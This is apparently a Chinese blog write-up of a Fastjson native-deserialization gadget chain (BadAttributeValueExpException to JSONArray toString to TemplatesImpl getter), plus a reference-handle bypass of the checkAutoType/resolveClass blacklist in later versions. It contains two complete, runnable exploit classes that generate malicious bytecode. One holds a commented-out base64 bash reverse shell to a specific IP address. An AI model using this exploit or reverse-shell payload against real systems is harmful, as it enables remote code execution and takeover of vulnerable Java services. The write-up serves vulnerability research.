FastJson与原生反序列化
经典朗诵,3-4月份看到文章,8月份才复现,是不是老迟钝了
入口
既然是与原生反序列化相关,那我们去fastjson包里去看看哪些类继承了Serializable接口即可,最后找完只有两个类,JSONArray与JSONObject
JSONArray
JSONObject
但是它们都没有实现readObject,所以需要借助别人,通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链
然后关注Json类的toString,
在我们想用JSON.parse()触发get方法时,其中一个处理方法就是用JSONObject嵌套我们的payload
结论:
触发toString->toJSONString->任意getter
如何触发getter方法
一般来说大家都把它当作结论(toJSONString->任意getter),这里讲解一下原理,我们跟一下
为何能触发getter
y4: 因为是toString所以肯定会涉及到对象中的属性提取,fastjson在做这部分实现时,是通过ObjectSerializer类的write方法去做的提取
com.alibaba.fastjson.JSON#toJSONString->com.alibaba.fastjson.serializer#write
参数是fastjson.JSONArray,跟进去看
存在着一个循环,当前的元素是TemplateImpl
把这个循环提取出来
for(int size = list.size(); i < size; ++i) {
item = list.get(i);
if (i != 0) {
out.append(',');
}
if (item == null) {
out.append("null");
} else {
Class<?> clazz = item.getClass();
if (clazz == Integer.class) {
out.writeInt((Integer)item);
} else if (clazz == Long.class) {
long val = (Long)item;
if (writeClassName) {
out.writeLong(val);
out.write(76);
} else {
out.writeLong(val);
}
} else if ((SerializerFeature.DisableCircularReferenceDetect.mask & features) != 0) {
itemSerializer = serializer.getObjectWriter(item.getClass());
itemSerializer.write(serializer, item, i, elementType, features);
} else {
if (!out.disableCircularReferenceDetect) {
SerialContext itemContext = new SerialContext(context, object, fieldName, 0, 0);
serializer.context = itemContext;
}
if (serializer.containsReference(item)) {
serializer.writeReference(item);
} else {
itemSerializer = serializer.getObjectWriter(item.getClass());
if ((SerializerFeature.WriteClassName.mask & features) != 0 && itemSerializer instanceof JavaBeanSerializer) {
JavaBeanSerializer javaBeanSerializer = (JavaBeanSerializer)itemSerializer;
javaBeanSerializer.writeNoneASM(serializer, item, i, elementType, features);
} else {
itemSerializer.write(serializer, item, i, elementType, features);
}
}
}
}
}
前面几个if都进不去,直接到else,注意到serializers这个HashMap储存着我们的JSONArray等待反序列化的类
最后到这一块
一路进getObjectWriter
这部分流程是先判断serializers这个HashMap当中有无默认映射
我这里和y4不一样
大概知道这个函数的功能就好,看到后面(还挺后面的com\alibaba\fastjson\serializer\SerializeConfig.class#getObjectWriter的758行)
有个createJavaBeanSerializer
它会提取类当中的
BeanInfo
(包括有getter方法的属性)并传入createJavaBeanSerializer
继续处理
这些是关于asm字节码的操作,到最后有个generateWrroteMethod
而getter方法的生成就在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod
当中
它会根据字段的类型调用不同的方法处理,
如果是Object的话会来到最后,进入Object
这个地方就调用get了
fastjson1,2
影响版本:(截止目前是全版本)
-
Fastjson版本小于等于1.2.48
-
Fastjson版本高于1.2.49-1.2.83
既然只能触发get方法的调用那么很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用
而触发toString方法我们也有现成的链,通过BadAttributeValueExpException触发即可
因此我们很容易写出利用链子
BadAttributeValueExpException#toString->toJSONString#toString->(任意getter)->TemplatesImpl
Maven依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
exp
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
我写的exp
package com.example.mydemo.qwq;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class TempFastjson {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
// byte[] code = getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|{bash,-i}");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
setValue(poc, "val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,poc);
serialize(hashMap);
// unserialize("ser.bin");
base64encode_exp(hashMap);
}
}
高版本黑名单-绕过resolveclass/checkAutoType分析
从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法
里面有checkAutoType对反序列化进行检查
具体代码实现
但是正常来说安全的黑名单应该是自己继承readObject,然后重写一下,参考巅峰极客babyurl
也即
MyObjectInputStream->ObjectInputStream->resolveClass
不过阿里的fastjson解决方案不对,他是通过readObject调用SecurityObjectInputStream,SecurityObjectInputStream里再重写resolveClass的
换言之
ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass
这样导致的安全问题就是可以绕过,我们看下面怎么绕的:
在java.io.ObjectInputStream#readObject0
调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
再回到上面这个switch分支的代码,不会调用readClassDesc
的分支有TC_NULL
、TC_REFERENCE
、TC_STRING
、TC_LONGSTRING
、TC_EXCEPTION
,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出
那么就只剩下了reference引用类型了
确定了tc用reference后,学了一下reference怎么用,进去看到了readHandle
Reads in object handle, sets passHandle to the read handle, and returns object associated with the handle.
读取对象句柄,将passHandle设置为读取句柄,并返回与句柄关联的对象。
现在我们就要思考,如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查
答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例,
demo
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(arrayList);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
断点下在writeObject
当我们写入对象时,会在handles
这个哈希表中建立从对象到引用的映射
如果再次写入同一对象呢?
demo
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(arrayList);
objectOutputStream.writeObject(arrayList);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
当再次写入同一对象时,在handles
这个hash表中查到了映射
那么就会通过writeHandle
将重复对象以引用类型写入
因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路
JAVA
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);
WriteObjects(arrayList);
简单梳理下
序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles
这个hash表中查到了映射,后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream
,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。